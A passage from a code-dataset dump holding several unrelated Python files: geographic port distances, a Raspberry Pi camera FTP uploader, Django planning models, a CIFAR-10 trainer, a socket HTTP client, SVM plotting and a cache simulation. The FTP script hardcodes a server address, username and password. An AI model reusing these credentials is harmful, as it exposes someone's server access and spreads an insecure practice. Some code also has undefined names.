ast.literal_eval(l[4]) # create a dict with lat, lng\n\n\n\n\t\n\t\"\"\"\n\tGet the shorsted distance between the port and the coor\n\tparam: coorB in the form {'lat': y, 'lng':x }\n\t\"\"\"\n\tdef distance(self, coorB):\n\t\t\n\t\txyzA = xyzCoor(self.coor)\n\t\txyzB = xyzCoor(coorB)\n\t\txyzR = {}\n\t\txyzR['x'] = xyzB['x'] - xyzA['x'] \n\t\txyzR['y'] = xyzB['y'] - xyzA['y']\n\t\txyzR['z'] = xyzB['z'] - xyzA['z']\n\n\n\t\tsubHypo = math.hypot( xyzR['x'] , xyzR['y'] )\n\t\thypo = math.hypot( subHypo, xyzR['z']) \n\t\talpha = 2 * math.asin(hypo / (2 * rayonTerrestre)) \n\t\t\n\t\tres = alpha * rayonTerrestre\n\t\treturn res\n\n\n\n\t\treturn res\n\t\n\nclass PoolPorts:\n\n\tdef __init__(self, ports):\n\t\tself.ports = ports # array of port object \n\t\t\n\t\n\tdef findClosest(self, coor):\n\t\t#param: coorB in the form {'lat': y, 'lng':x }\n\t\tclosestI = 0;\n\t\tclosestD = self.ports[0].distance(coor)\n\t\ti = 0\n\t\t \n\t\tfor p in self.ports:\t\n\t\t\td = p.distance(coor)\n\t\t\tif d < closestD :\n\t\t\t\tclosestD = d\n\t\t\t\tclosestI = i \t\t\n\t\t\ti = i + 1\n\t\t\t\t\n\t\treturn self.ports[closestI] \n\n\n\n\ndef generatePortsJSON(pp):\n\n\n\taa = []\n\t\n\tfor p in pp.ports:\n\t\ta = [p.coor['lat'],p.coor['lng']]\n\t\tprint(a)\n\t\taa.append(a)\n\n\n\tfn = 'ports.json'\n\tfo = open( fn , 'w')\n\tfo.write(json.dumps(aa))\n\n\tfo.close()\n\n\n\n\t \nfi = open('ports-data.csv', 'r')\nr = csv.reader(fi)\n\nports = []\n\nfor l in r:\n\tp = Port(l)\n\tports.append(p)\n\n\npp = PoolPorts(ports)\n\n\n\n","sub_path":"makePath/ports.py","file_name":"ports.py","file_ext":"py","file_size_in_byte":2580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"260624067","text":"from picamera import PiCamera\nfrom time import sleep\nfrom ftplib import FTP\n\nserver = '128.6.22.22'\nuser = 'EVgroup'\npwd = 'rutgersmse'\n\ncamera = PiCamera()\ncamera.capture('/home/pi/Desktop/chargingStation.jpg')\n\n#attempt to establish connection to FTP server\ntry:\n ftp = FTP(server, user, pwd)\nexcept:\n print(\"Socket error exception\")\n#opens the charging station file for storing on the ftp server...\nfile = open('/home/pi/Desktop/chargingStation.jpg')\n\ntry:\n ftp.storbinary('STOR chargingStation.jpg', file)\nexcept socket_error:\n print('socket error exception occured...')\n\n\n\n\n","sub_path":"startup/camtest.py","file_name":"camtest.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"481776496","text":"import logging\nfrom copy import deepcopy\nfrom uuid import uuid4\n\nfrom django.conf import settings\nfrom django.contrib.auth import get_user_model\nfrom django.db import models\nfrom django.forms import model_to_dict\nfrom django.template.loader import render_to_string\nfrom django.utils.timezone import now as tznow\n\nfrom jsonfield import JSONField\n\n# With postgres 9.4+, use this instead\n# from django.contrib.postgres.fields import JSONField\n\nfrom flow.modelmixins import ClonableModel\n\nfrom easydmp.dmpt.forms import make_form\nfrom easydmp.dmpt.utils import DeletionMixin\n\nfrom .utils import purge_answer\nfrom .utils import get_editors_for_plan\n\n\nLOG = logging.getLogger(__name__)\nGENERATED_HTML_TEMPLATE = 'easydmp/plan/generated_plan.html'\n\n\nclass Answer():\n \"Helper-class combining a Question and a Plan\"\n\n def __init__(self, question, plan):\n self.question = question.get_instance()\n self.plan = plan\n # IMPORTANT: json casts ints to string as keys in dicts, so use strings\n self.question_id = str(self.question.pk)\n self.has_notes = self.question.has_notes\n self.section = self.question.section\n self.question_validity = self.get_question_validity()\n self.section_validity = self.get_section_validity()\n self.current_choice = plan.data.get(self.question_id, {})\n\n def get_question_validity(self):\n qv, _ = QuestionValidity.objects.get_or_create(\n plan=self.plan,\n question=self.question,\n defaults={'valid': False}\n )\n return qv\n\n def get_section_validity(self):\n sv, _ = SectionValidity.objects.get_or_create(\n plan=self.plan,\n section=self.section,\n defaults={'valid': False}\n )\n return sv\n\n def get_form(self, **form_kwargs):\n form = make_form(self.question, **form_kwargs)\n return form\n\n def save_choice(self, choice, saved_by):\n LOG.debug('q%s/p%s: Answer: previous %s current %s',\n self.question_id, self.plan.pk, self.current_choice, choice)\n if self.current_choice != choice:\n LOG.debug('q%s/p%s: saving changes',\n self.question_id, self.plan.pk)\n self.plan.modified_by = saved_by\n self.plan.previous_data[self.question_id] = self.current_choice\n self.plan.data[self.question_id] = choice\n self.plan.save(question=self.question)\n LOG.debug('q%s/p%s: setting question valid',\n self.question_id, self.plan.pk)\n self.question_validity.valid = True\n self.question_validity.save()\n if not self.section_validity.valid and self.section.validate_data(self.plan.data):\n LOG.debug('q%s/p%s: setting section valid',\n self.question_id, self.plan.pk)\n self.section_validity.valid = True\n self.section_validity.save()\n\n def set_invalid(self):\n if self.question_validity.valid:\n LOG.debug('q%s/p%s: setting invalid', self.question_id, self.plan.pk)\n self.question_validity.valid = False\n self.question_validity.save()\n self.section_validity.valid = False\n self.section_validity.save()\n\n\nclass PlanQuerySet(models.QuerySet):\n\n def purge_answer(self, question_pk):\n qs = self.all()\n for plan in qs:\n purge_answer(plan, question_pk)\n\n def locked(self):\n return self.filter(locked__isnull=False)\n\n def unlocked(self):\n return self.filter(locked__isnull=True)\n\n def published(self):\n return self.filter(published__isnull=False)\n\n def unpublished(self):\n return self.filter(published__isnull=True)\n\n def valid(self):\n return self.filter(valid=True)\n\n def invalid(self):\n return self.exclude(valid=True)\n\n def editable(self, user):\n return self.filter(accesses__user=user, accesses__may_edit=True)\n\n def viewable(self, user):\n return self.filter(accesses__user=user)\n\n\nclass SectionValidity(ClonableModel):\n plan = models.ForeignKey('plan.Plan', models.CASCADE, related_name='section_validity')\n section = models.ForeignKey('dmpt.Section', models.CASCADE, related_name='+')\n valid = models.BooleanField()\n last_validated = models.DateTimeField(auto_now=True)\n\n def clone(self, plan):\n new = self.__class__(plan=plan, section=self.section, valid=self.valid,\n last_validated=self.last_validated)\n new.set_cloned_from(self)\n new.save()\n return new\n\n class Meta:\n unique_together = ('plan', 'section')\n\n\nclass QuestionValidity(ClonableModel):\n plan = models.ForeignKey('plan.Plan', models.CASCADE, related_name='question_validity')\n question = models.ForeignKey('dmpt.Question', models.CASCADE, related_name='+')\n valid = models.BooleanField()\n last_validated = models.DateTimeField(auto_now=True)\n\n def clone(self, plan):\n new = self.__class__(plan=plan, question=self.question,\n valid=self.valid,\n last_validated=self.last_validated)\n new.set_cloned_from(self)\n new.save()\n return new\n\n class Meta:\n unique_together = ('plan', 'question')\n\n\nclass Plan(DeletionMixin, ClonableModel):\n title = models.CharField(\n max_length=255,\n help_text='''This title will be used as the title of the generated\n data management plan document. We recommend something that includes the\n name of the project the plan is for, e.g., \"Preliminary data plan for\n <project>\", \"Revised data plan for <project>\", etc.'''\n )\n abbreviation = models.CharField(\n max_length=8, blank=True,\n help_text='A short abbreviation of the plan title, for internal use. Not shown in the generated file.',\n )\n version = models.PositiveIntegerField(default=1)\n uuid = models.UUIDField(default=uuid4, editable=False)\n template = models.ForeignKey('dmpt.Template', related_name='plans')\n valid = models.NullBooleanField()\n last_validated = models.DateTimeField(blank=True, null=True)\n data = JSONField(default={})\n previous_data = JSONField(default={})\n visited_sections = models.ManyToManyField('dmpt.Section', related_name='+', blank=True)\n generated_html = models.TextField(blank=True)\n doi = models.URLField(\n blank=True,\n default='',\n help_text='Use the URLified DOI, https://dx.doi.org/',\n )\n added = models.DateTimeField(auto_now_add=True)\n added_by = models.ForeignKey(settings.AUTH_USER_MODEL, related_name='added_plans')\n modified = models.DateTimeField(auto_now=True)\n modified_by = models.ForeignKey(settings.AUTH_USER_MODEL, related_name='modified_plans')\n locked = models.DateTimeField(blank=True, null=True)\n locked_by = models.ForeignKey(settings.AUTH_USER_MODEL,\n related_name='locked_plans', blank=True,\n null=True, on_delete=models.SET_NULL)\n published = models.DateTimeField(blank=True, null=True)\n published_by = models.ForeignKey(settings.AUTH_USER_MODEL,\n related_name='published_plans',\n blank=True, null=True,\n on_delete=models.SET_NULL)\n\n objects = PlanQuerySet.as_manager()\n\n def __str__(self):\n return self.title\n\n def may_edit(self, user):\n if not user.is_authenticated:\n return False\n if self.accesses.filter(user=user, may_edit=True):\n return True\n return False\n\n def may_view(self, user):\n if not user.is_authenticated:\n return False\n if self.accesses.filter(user=user):\n return True\n return False\n\n def get_first_question(self):\n return self.template.first_question\n\n def get_viewers(self):\n User = get_user_model()\n pas = self.accesses.exclude(may_edit=True)\n qs = User.objects.filter(plan_accesses__in=pas)\n return qs\n\n get_editors = get_editors_for_plan\n\n def add_user_to_viewers(self, user):\n ua, _ = PlanAccess.objects.update_or_create(\n user=user,\n plan=self,\n defaults={'may_edit': False})\n\n def add_user_to_editors(self, user):\n ua, _ = PlanAccess.objects.update_or_create(\n user=user,\n plan=self,\n defaults={'may_edit': True})\n\n def set_adder_as_editor(self):\n self.add_user_to_editors(self.added_by)\n\n def create_section_validities(self):\n svs = []\n for section in self.template.sections.all():\n svs.append(SectionValidity(plan=self, section=section, valid=False))\n SectionValidity.objects.bulk_create(svs)\n\n def set_sections_as_valid(self, *sections):\n qs = SectionValidity.objects.filter(plan=self, section_id__in=section_pks)\n qs.update(valid=True)\n\n def set_sections_as_invalid(self, *sections):\n qs = SectionValidity.objects.filter(plan=self, section_id__in=section_pks)\n qs.update(valid=False)\n\n def create_question_validities(self):\n qvs = []\n sections = self.template.sections.all()\n for section in sections:\n for question in section.questions.all():\n qvs.append(QuestionValidity(plan=self, question=question, valid=False))\n QuestionValidity.objects.bulk_create(qvs)\n\n def set_questions_as_valid(self, *question_pks):\n qs = QuestionValidity.objects.filter(plan=self, question_id__in=question_pks)\n qs.update(valid=True)\n\n def set_questions_as_invalid(self, *question_pks):\n qs = QuestionValidity.objects.filter(plan=self, question_id__in=question_pks)\n qs.update(valid=False)\n\n def validate(self, recalculate=False, commit=True):\n valid = self.template.validate_plan(self, recalculate)\n self.valid = valid\n self.last_validated = tznow()\n if commit:\n self.save()\n\n def copy_validations_from(self, oldplan):\n for sv in oldplan.section_validity.all():\n sv.clone(self)\n for qv in oldplan.question_validity.all():\n qv.clone(self)\n\n def copy_users_from(self, oldplan):\n for pa in oldplan.accesses.all():\n pa.clone(self)\n\n def save(self, user=None, question=None, recalculate=False, **kwargs):\n if user:\n self.modified_by = user\n if not self.pk: # New, empty plan\n super().save(**kwargs)\n self.create_section_validities()\n self.create_question_validities()\n self.set_adder_as_editor()\n LOG.info('Created plan \"%s\" (%i)', self, self.pk)\n else:\n if question is not None:\n # set visited\n self.visited_sections.add(question.section)\n topmost = question.section.get_topmost_section()\n if topmost:\n self.visited_sections.add(topmost)\n # set validated\n self.validate(recalculate, commit=False)\n super().save(**kwargs)\n LOG.info('Updated plan \"%s\" (%i)', self, self.pk)\n\n def save_as(self, title, user, abbreviation='', keep_users=True, **kwargs):\n new = self.__class__(\n title=title,\n abbreviation=abbreviation,\n template=self.template,\n data=self.data,\n previous_data=self.previous_data,\n added_by=user,\n modified_by=user,\n )\n new.save()\n new.copy_validations_from(self)\n if keep_users:\n editors = set(self.get_editors())\n for editor in editors:\n new.add_user_to_editors(editor)\n return new\n\n def clone(self):\n new = deepcopy(self)\n new.pk = None\n new.id = None\n new.set_cloned_from(self)\n new.save()\n new.copy_validations_from(self)\n new.copy_users_from(self)\n return new\n\n def unset_status_metadata(self):\n self.added_by = None\n self.added = None\n self.locked_by = None\n self.locked = None\n self.modified_by =None\n self.modified = None\n self.published_by = None\n self.published = None\n\n def create_new_version(self, user, timestamp=None, wait_to_save=False):\n timestamp = timestamp if timestamp else tznow()\n new = self.clone()\n new.unset_status_metadata()\n new.added_by = user\n new.added = timestamp\n new.modified_by = user\n new.modified = timestamp\n new.version += self.version\n if not wait_to_save:\n new.save()\n return new\n\n def unlock(self, user, timestamp=None, wait_to_save=False):\n timestamp = timestamp if timestamp else tznow()\n new = self.create_new_version(user, timestamp, wait_to_save)\n self = new\n return new\n\n def lock(self, user, timestamp=None, wait_to_save=False):\n timestamp = timestamp if timestamp else tznow()\n self.locked = timestamp\n self.locked_by = user\n # save obj now, don't wait for some other method after this\n if not wait_to_save:\n self.save()\n\n def get_summary(self, data=None):\n if not data:\n data = self.data.copy()\n valid_sections = (SectionValidity.objects\n .filter(valid=True, plan=self)\n )\n valid_ids = valid_sections.values_list('section__pk', flat=True)\n summary = self.template.get_summary(data, valid_ids)\n return summary\n\n def get_canned_text(self, data=None):\n if not data:\n data = self.data.copy()\n return self.template.generate_canned_text(data)\n\n def get_context_for_generated_text(self):\n data = self.data.copy()\n return {\n 'data': data,\n 'output': self.get_summary(data),\n 'text': self.get_canned_text(data),\n 'plan': self,\n 'template': self.template,\n }\n\n def generate_html(self):\n context = self.get_context_for_generated_text()\n return render_to_string(GENERATED_HTML_TEMPLATE, context)\n\n def publish(self, user, timestamp=None):\n if self.valid:\n timestamp = timestamp if timestamp else tznow()\n if not self.locked:\n self.lock(user, timestamp, True)\n self.generated_html = self.generate_html()\n self.published = timestamp\n self.published_by = user\n self.save()\n\n\nclass PlanAccess(ClonableModel):\n user = models.ForeignKey(settings.AUTH_USER_MODEL, models.CASCADE, related_name='plan_accesses')\n plan = models.ForeignKey(Plan, models.CASCADE, related_name='accesses')\n\n may_edit = models.NullBooleanField(blank=True, null=True)\n\n class Meta:\n unique_together = ('user', 'plan')\n\n def clone(self, plan):\n self_dict = model_to_dict(self, exclude=['id', 'pk', 'plan'])\n new = self.__class__.objects.create(plan=plan, **self_dict)\n return new\n\n @property\n def access(self):\n return 'view and edit' if self.may_edit else 'view'\n\n\nclass PlanComment(models.Model):\n plan = models.ForeignKey(Plan, related_name='comments')\n question = models.ForeignKey('dmpt.Question')\n comment = models.TextField()\n added = models.DateTimeField(auto_now_add=True)\n added_by = models.ForeignKey(settings.AUTH_USER_MODEL, related_name='plan_comments')\n","sub_path":"src/easydmp/plan/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":15639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"373646475","text":"import tensorflow as tf\nfrom tensorflow import keras\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom tensorflow.python.ops.gen_math_ops import mod #vissualisierung\n\n(trainingImages,trainingLables),(testImages,testLables) = keras.datasets.cifar10.load_data()\n\ntrainingImages = trainingImages / 255.0\ntestImages = testImages / 255.0\n\nclassName = ['Airplane','Automobil','Bird','Cat','Deer','Dog','Frog','Horse','Ship','Truck']\n\nImgIndex = 1\n\n#print(trainingImages[ImgIndex].shape)\n#plt.imshow(trainingImages[ImgIndex], cmap=plt.cm.binary)\n#plt.xlabel(className[trainingLables[ImgIndex][0]])\n#plt.show()\n\ndatagen = keras.preprocessing.image.ImageDataGenerator(\n rotation_range=40,\n width_shift_range=0.2,\n height_shift_range=0.2,\n shear_range=0.2,\n zoom_range=0.2,\n horizontal_flip=True,\n fill_mode='nearest'\n)\n\n#data augmentation start\n\ntestImg = trainingImages[ImgIndex]\nimg = keras.preprocessing.image.img_to_array(testImg)\nimg = img.reshape((1,)+img.shape)\ni = 0\nfor batch in datagen.flow(img,save_prefix='test', save_format='jpeg', save_to_dir='F:\\Python\\InteligenteSysteme\\TenserFlowLernen\\Test'):\n plt.figure(i)\n plot = plt.imshow(keras.preprocessing.image.img_to_array(batch[0]))\n i += 1\n if i > 4:\n break\nplt.show()\n\n#data augmentation ende\n\nmodel = keras.models.Sequential()\nmodel.add(layer=keras.layers.Conv2D(32, (3, 3), activation='relu'))\nmodel.add(layer=keras.layers.MaxPooling2D((2, 2)))\nmodel.add(layer=keras.layers.Conv2D(64, (3, 3), activation='relu'))\nmodel.add(layer=keras.layers.MaxPooling2D((2, 2)))\nmodel.add(layer=keras.layers.Conv2D(64, (3, 3), activation='relu'))\n\nmodel.add(layer=keras.layers.Flatten())\nmodel.add(layer=keras.layers.Dense(64,activation='relu'))\nmodel.add(layer=keras.layers.Dense(10))\n\nmodel.compile(\n optimizer='adam',\n loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),\n metrics=['accuracy'])\n\ntest_acc_last = 0\ntest_loss, test_acc = model.evaluate(testImages,testLables,verbose=0)\n\nwhile test_acc > test_acc_last or test_acc < 0.7:\n test_acc_last = test_acc\n history = model.fit(trainingImages,trainingLables, epochs=1, validation_data=(testImages,testLables))\n test_loss, test_acc = model.evaluate(testImages,testLables,verbose=0)\n\nprint(test_loss,test_acc)","sub_path":"TenserFlowLernen/Images_Color.py","file_name":"Images_Color.py","file_ext":"py","file_size_in_byte":2300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"631268976","text":"from socket import *\nimport sys\n\n\naddress = sys.argv[1]\nport = int(sys.argv[2])\nf = sys.argv[3]\n\ns = socket(AF_INET, SOCK_STREAM)\ns.connect((address, port))\nget = 'GET /' + f + ' HTTP/1.1\\r\\n\\r\\n'\ns.send(get.encode())\n\ndata = s.recv(10000).decode()\n\t\n\n\"\"\"HOST = sys.argv[1]\nPORT = int(sys.argv[2])\nf = sys.argv[3]\n\nget = 'GET /' + f + ' HTTP/1.1\\r\\n\\r\\n'\nwith socket(AF_INET, SOCK_STREAM) as s:\n s.connect((HOST, PORT))\n s.send(get.encode())\n data = s.recv(1024).decode()\n\"\"\"\nprint(data)\n\ns.close()\n","sub_path":"package drop sim/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"472097704","text":"import argparse\nimport errno\nimport tempfile\nimport pandas as pd\nimport glob\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\n\n\ndefault_data_dir = 'data/intermediate/objective-2'\ndefault_out_dir = 'figures/objective-2'\n\n\n# From http://stackoverflow.com/questions/2113427/determining-whether-a-directory-is-writeable\ndef is_writable(path):\n try:\n testfile = tempfile.TemporaryFile(dir=path)\n testfile.close()\n except OSError as e:\n if e.errno == errno.EACCES: # 13\n return False\n e.filename = path\n raise\n return True\n\n\ndef main():\n # logging.basicConfig(level=logging.DEBUG)\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--data\", help=\"The data dir containing the csv of intermediate data\", default=default_data_dir)\n parser.add_argument(\"--out\", help=\"The results dir where the figs will be places\", default=default_out_dir)\n\n args = parser.parse_args()\n\n if not is_writable(args.out):\n print(\"Results directory {} is not writeable\".format(args.results_dir))\n return\n\n # results_dir = args.results_dir\n\n # results_dir = 'experiment-1_2017-04-19_14:37:49.692977'\n all_csv_files = glob.glob(args.data + \"/*linear*.csv\")\n\n train_val_metrics = [\n \"train_accuracy\",\n \"train_f1\",\n \"train_precision\",\n \"train_recall\",\n \"val_accuracy\",\n \"val_f1\",\n \"val_precision\",\n \"val_recall\",\n ]\n\n test_dummy_metrics = [\n \"test_accuracy\",\n \"test_f1\",\n \"test_precision\",\n \"test_recall\",\n \"dummy_accuracy\",\n \"dummy_f1\",\n \"dummy_precision\",\n \"dummy_recall\"\n ]\n\n for file in all_csv_files:\n\n file_name = os.path.basename(file)\n file_name = os.path.splitext(file_name)[0]\n title, data_set_name = file_name.split('_', 1)\n prefix = title\n title = title.replace('-', ' ').title()\n data_set_tile = data_set_name.replace('_', ' ').title()\n data_set_tile = data_set_tile.replace(' ', ' vs ')\n os.makedirs(os.path.join(args.out, data_set_name), exist_ok=True)\n\n for metric in train_val_metrics:\n\n os.makedirs(os.path.join(args.out, data_set_name), exist_ok=True)\n fig_file_name = '{}_{}_{}.png'.format(prefix, data_set_name, metric)\n\n print(fig_file_name)\n df = pd.read_csv(file, index_col=None, header=0)\n both = df.boxplot(by='svc__C', column=[metric], return_type='both')\n\n ax, lines = both[0]\n ax.set_xticklabels(ax.get_xticklabels(), rotation=45)\n\n plt.suptitle('{} - {}'.format(title, data_set_tile))\n ax.set_xlabel('C')\n fig = ax.get_figure()\n fig.tight_layout()\n plt.subplots_adjust(top=0.9)\n fig.savefig(os.path.join(args.out, data_set_name, fig_file_name))\n plt.close()\n\n df = pd.read_csv(file, index_col=None, header=0)\n grouped = df.groupby(df.svc__C)\n\n for name, group in grouped:\n fig_file_name = '{}_{}_{}_c={}.png'.format(prefix, data_set_name, 'test_metrics', name)\n\n print(fig_file_name)\n ax, lines = group.boxplot(column=test_dummy_metrics, return_type='both')\n ax.set_xticklabels(ax.get_xticklabels(), rotation=45)\n\n ax.set_title('C = {}'.format(str(name)))\n plt.suptitle('{} - {} Test Metrics'.format(title, data_set_tile))\n\n fig = ax.get_figure()\n fig.tight_layout()\n plt.subplots_adjust(top=0.9)\n fig.savefig(os.path.join(args.out, data_set_name, fig_file_name))\n plt.close()\n\n all_csv_files = glob.glob(args.data + \"/*rbf*.csv\")\n\n ticks = [x ** y for x, y in zip([2] * 31, range(-15, 15, 1))]\n for file in all_csv_files:\n\n file_name = os.path.basename(file)\n file_name = os.path.splitext(file_name)[0]\n title, data_set_name = file_name.split('_', 1)\n prefix = title\n title = title.replace('-', ' ').title()\n data_set_tile = data_set_name.replace('_', ' ').title()\n data_set_tile = data_set_tile.replace(' ', ' vs ')\n os.makedirs(os.path.join(args.out, data_set_name), exist_ok=True)\n\n for metric in train_val_metrics:\n\n os.makedirs(os.path.join(args.out, data_set_name), exist_ok=True)\n fig_file_name = '{}_{}_{}.png'.format(prefix, data_set_name, metric)\n print(fig_file_name)\n\n df = pd.read_csv(file, index_col=None, header=0)\n\n pivoted = df.pivot_table(index='svc__C', columns='svc__gamma', values=metric)\n # pivoted.columns = np.log2(pivoted.columns)\n # pivoted.index = np.log2(pivoted.index)\n\n X, Y = np.meshgrid(np.log2(pivoted.columns), np.log2(pivoted.index))\n\n fig = plt.figure()\n\n plt.suptitle('{} - {} data - {}'.format(title, data_set_tile, metric.replace('_', ' ').title()))\n ax = Axes3D(fig)\n\n ax.set_xlabel('log2 gamma')\n ax.set_ylabel('log2 C')\n ax.set_zlabel(metric.replace('_', ' ').title())\n surf = ax.plot_surface(X, Y, pivoted, rstride=1, cstride=1, cmap='rainbow',\n linewidth=0, antialiased=False)\n\n # plt.show()\n fig.savefig(os.path.join(args.out, data_set_name, fig_file_name))\n plt.close()\n\n max = np.argmax(pivoted.as_matrix())\n c_max, gamma_max = np.unravel_index(max, pivoted.as_matrix().shape)\n\n c_max = pivoted.index[c_max]\n gamma_max = pivoted.columns[gamma_max]\n\n filtered = df[(df.svc__C == c_max) & (df.svc__gamma == gamma_max)]\n\n ax, lines = filtered.boxplot(column=test_dummy_metrics, return_type='both')\n ax.set_xticklabels(ax.get_xticklabels(), rotation=45)\n ax.set_title('C = {}, gamma = {}'.format(str(c_max), str(gamma_max)))\n plt.suptitle('{} - {} Test Metrics'.format(title, data_set_tile))\n fig = ax.get_figure()\n fig.tight_layout()\n plt.subplots_adjust(top=0.9)\n\n fig_file_name = '{}_{}_{}_best={}.png'.format(prefix, data_set_name, 'test_metrics', metric)\n print(fig_file_name)\n # plt.show()\n fig.savefig(os.path.join(args.out, data_set_name, fig_file_name))\n plt.close()\nif __name__ == \"__main__\":\n main()\n","sub_path":"src/2.1-objective-2-figures.py","file_name":"2.1-objective-2-figures.py","file_ext":"py","file_size_in_byte":6487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"322576038","text":"import pandas as pd;\r\nfrom pandas import DataFrame as df;\r\nimport random;\r\nfrom openpyxl import Workbook;\r\nfrom openpyxl import load_workbook;\r\n\r\n\r\n#The two lists maintain the status of the short term and long term cache\r\nshortTermCache = set();\r\nshortTermCacheCapacity = 5;\r\nlongTermCache = set();\r\nlongTermCacheCapacity = 2 * shortTermCacheCapacity;\r\nregisterData = {};\r\nregisterSize = 100;\r\n\r\n\r\ndef fillRegisterStatus(t, cache):\r\n print(\"Register resetting...\");\r\n regRequiredData = cache.loc[(cache[\"T\"] > t) & (cache[\"T\"] <= t + registerSize), [\"T\", \"P\"]];\r\n for record in regRequiredData[\"P\"]:\r\n if(record not in registerData):\r\n registerData[record] = 1;\r\n else:\r\n registerData[record] = registerData[record] + 1; \r\n print(\"Reset complete. Register values after reset are:\\n\" + str(registerData) + \"\\n\");\r\n overflow = fillShortTermCache();\r\n fillLongTermCache(regRequiredData, overflow);\r\n print(longTermCache);\r\n\r\n\"\"\"\r\ndef fillShortTermCache():\r\n print(\"Short term cache resetting...\");\r\n cf = 0;\r\n overflowList = [];\r\n fillCount = 0;\r\n currentRegisterSize = len(registerData);\r\n for process in registerData:\r\n cf += registerData[process];\r\n averageFrequency = cf / currentRegisterSize;\r\n print(\"The threshold frequency thus calculated is :\" + str(averageFrequency));\r\n for process in registerData:\r\n if(registerData[process] > averageFrequency):\r\n i = 0;\r\n while((i < len(shortTermCache)) and (shortTermCache[i] != -1)):\r\n i += 1;\r\n fillCount += 1;\r\n if(i >= len(shortTermCache)):\r\n overflowList.append(process);\r\n else:\r\n shortTermCache[i] = process;\r\n \r\n if(fillCount > 5):\r\n i = 0;\r\n for process in overflowList:\r\n longTermCache[i] = process;\r\n i += 1;\r\n elif(fillCount < 5):\r\n #YOU ARE HERE AT THE TIME OF WRITING THIS CODE. WE ARE HANDLING THE CASE IN WHICH SHORT TERM CACHE HAS TO BE FILLED WITH\r\n #THE REMAINING ITEMS BASED ON THE RANK OF THE REMAINING ITEMS.\r\n cacheSet = \r\n \r\n print(\"Short term cache has been reset. The new values are:\\n\" + str(shortTermCache) + \"\\n\");\r\n\"\"\"\r\n\r\ndef fillShortTermCache():\r\n print(\"Short term cache resetting...\");\r\n cf = 0;\r\n overflowList = [];\r\n currentRegisterSize = len(registerData);\r\n for process in registerData:\r\n cf += registerData[process];\r\n averageFrequency = cf / currentRegisterSize;\r\n print(\"The threshold frequency thus calculated is :\" + str(averageFrequency));\r\n for process in registerData:\r\n if(registerData[process] > averageFrequency): \r\n if(len(shortTermCache) > shortTermCacheCapacity):\r\n overflowList.append(process);\r\n else:\r\n shortTermCache.add(process);\r\n if(len(shortTermCache) < shortTermCacheCapacity):\r\n #pseudoReg = {k : v for k, v in sorted(registerData.items(), key = lambda item : item[1])};\r\n pseudoReg = sorted(registerData.items(), key = lambda kv:(kv[1], kv[0]), reverse = True);\r\n #print(\"PSEUDO REGISTER DATAAAA ---> \" + str(pseudoReg))\r\n #print(\"REGISTER DATAAAAA -----> \" + str(registerData));\r\n for process in pseudoReg:\r\n if(len(shortTermCache) >= shortTermCacheCapacity):\r\n break;\r\n if(process[0] in shortTermCache):\r\n continue;\r\n else:\r\n shortTermCache.add(process[0]);\r\n print(\"The short term cache has been filled. It's elements are:\\n\" + str(shortTermCache));\r\n return overflowList;\r\n\r\ndef fillLongTermCache(regReq, overflow):\r\n for process in overflow:\r\n longTermCache.add(process);\r\n if(len(longTermCache) >= longTermCacheCapacity):\r\n print(\"The long term cache has been filled. It's elements are:\\n\" + str(longTermCache));\r\n return;\r\n processList = regReq[\"P\"].tolist();\r\n #fringe creation\r\n shortTermFringe = [];\r\n for process in shortTermCache:\r\n if(len(longTermCache) >= longTermCacheCapacity): \r\n print(\"The long term cache has been filled. It's elements are:\\n\" + str(longTermCache));\r\n return;\r\n processIndicies = [];\r\n for i in range(len(processList)):\r\n if(processList[i] == process):\r\n processIndicies.append(i);\r\n potentialCache = {};\r\n for i in range(len(processIndicies)):\r\n ##\r\n if(((processIndicies[i] + 2) in range(0, len(processList))) and ((processIndicies[i] - 2) in range(0, len(processList)))):\r\n x1 = registerData[processList[processIndicies[i] + 1]];\r\n x2 = registerData[processList[processIndicies[i] + 2]];\r\n w1 = 1;\r\n w2 = -0.75;\r\n yin = (x1 * w1) + (x2 * w2);\r\n if(yin > 0):\r\n potentialCache[processList[processIndicies[i] + 1]] = registerData[processList[processIndicies[i] + 1]];\r\n else:\r\n potentialCache[processList[processIndicies[i] + 2]] = registerData[processList[processIndicies[i] + 2]];\r\n potentialCache = {k : v for k, v in sorted(potentialCache.items(), key = lambda item : item[1])};\r\n count = 0;\r\n for frequency in potentialCache:\r\n if(count >= 3):\r\n break;\r\n if(potentialCache[frequency] not in shortTermCache):\r\n longTermCache.add(potentialCache[frequency]);\r\n if(len(longTermCache) < longTermCacheCapacity):\r\n #pseudoReg = {k : v for k, v in sorted(registerData.items(), key = lambda item : item[1])};\r\n pseudoReg = sorted(registerData.items(), key = lambda kv:(kv[1], kv[0]), reverse = True);\r\n print(\"PSEUDO REGISTER DATAAAA ---> \" + str(pseudoReg))\r\n print(\"REGISTER DATAAAAA -----> \" + str(registerData));\r\n for process in pseudoReg:\r\n if(len(longTermCache) >= longTermCacheCapacity):\r\n print(\"The long term cache has been filled. It's elements are:\\n\" + str(longTermCache));\r\n return; \r\n if(process[0] not in shortTermCache):\r\n longTermCache.add(process[0]);\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n\"\"\"\r\ncf5Calculator = [0, 0, 0, 0, 0, 0, 0, 0];\r\ncf10Calculator = [0, 0, 0, 0, 0, 0, 0, 0];\r\nwb = Workbook();\r\nwb = load_workbook('D:\\VIT Semesters\\Fall Semester 2020-21\\Projects\\Storage\\Storage Dataset.xlsx')\r\nws = wb.active;\r\nfor i in range(2, 2002):\r\n ws['A' + str(i)].value = i - 1;\r\n\r\nfor i in range(2, 2002):\r\n ws['B' 